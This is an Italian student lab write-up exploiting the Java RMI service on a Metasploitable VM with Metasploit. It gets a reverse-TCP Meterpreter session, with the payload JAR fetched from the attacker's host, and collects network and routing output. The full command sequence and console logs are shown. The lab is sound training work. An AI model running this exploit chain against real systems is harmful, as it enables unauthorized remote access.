



PROGETTO  
S7L5



# PROGETTO

Traccia:

Esercizio Traccia e requisiti La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI.  
Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
  - 1) configurazione di rete
  - 2) informazioni sulla tabella di routing della macchina vittima.



# EXPLOIT

La fase di exploit è il momento in cui un attaccante sfrutta una vulnerabilità specifica in un sistema o applicazione per eseguire codice dannoso. Questa fase segue la fase di ricognizione (dove si identificano le vulnerabilità) e precede la fase di mantenimento dell'accesso. Durante l'exploit, l'attaccante tenta di ottenere l'accesso non autorizzato, eseguire codice arbitrario o compromettere l'integrità, la disponibilità o la riservatezza delle risorse del sistema bersaglio. L'obiettivo è spesso ottenere privilegi elevati, installare malware o rubare dati sensibili.



Apriamo il prompt dei comandi di kali e digitiamo il comando msfconsole ovvero l'interfaccia a riga di comando del Metasploit Framework, uno dei più popolari strumenti open source per la sicurezza informatica e i test di penetrazione.

Il comando che digiteremo successivamente (search java\_rmi) cercherà moduli relativi a Java RMI all'interno del database di Metasploit e mostrerà un elenco di exploit disponibili che puoi utilizzare per testare vulnerabilità su sistemi che utilizzano Java RMI.

kali-linux-2024.1-virtualbox-amd64 [In esecuzione] - Oracle VM VirtualBox

File Macchina Visualizza Inserimento Dispositivi Aiuto

(kali㉿kali)-[~]

\$ msfconsole

Metasploit tip: Search can apply complex filters such as search cve:2009  
type:exploit, see all the filters with help search

File System Exploit.c \*  
o\_o \ M S F /  
| | | W W |  
| | |  
+--=[ metasploit v6.3.55-dev ]  
+--=[ 2397 exploits - 1235 auxiliary - 422 post ]  
+--=[ 1391 payloads - 46 encoders - 11 nops ]  
+--=[ 9 evasion ]

Metasploit Documentation: <https://docs.metasploit.com/>

msf6 > search java\_rmi

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIC ConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java\_rmi\_connection\_impl

Andiamo ad avviare il payload di nostro interesse con (exploit/multi/misc/java\_rmi\_server), lo scarichiamo e con il metodo set andiamo a settare i campi che ci interessano(in questi caso: RHOST,LHOST e HTTPDELAY) dopo, con il comando exploit, avviamo l'attacco.

```
msf6 > exploit/multi/misc/java_rmi_server
[-] Unknown command: exploit/multi/misc/java_rmi_server
This is a module we can load. Do you want to use exploit/multi/misc/java_rmi
_server? [y/N]  y
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20
HTTPDELAY => 20
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/esqgCeteJZepSEr
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:33505) at 2024-05-22 04:49:05 -0400
```

Come si nota, il nostro attacco è andato a buon fine e ci troviamo sulla macchina di meterpreter dove andiamo a lanciare i comandi ifconfig e route ci confermano l'accesso alla macchina.

```
meterpreter > ifconfig
Interface 1      Esercizio
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask  : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask  : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask  : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe31:d020
IPv6 Netmask  : ::

meterpreter > route
IPv4 network routes
=====
Subnet      Netmask     Gateway   Metric  Interface
=====
127.0.0.1   255.0.0.0  0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0
Nessus-10....
```

```
IPv6 network routes
=====
Subnet      Netmask     Gateway   Metric  Interface
=====
::1/128    ::          ::        ::       ::
```

# ANTONIO PERNA

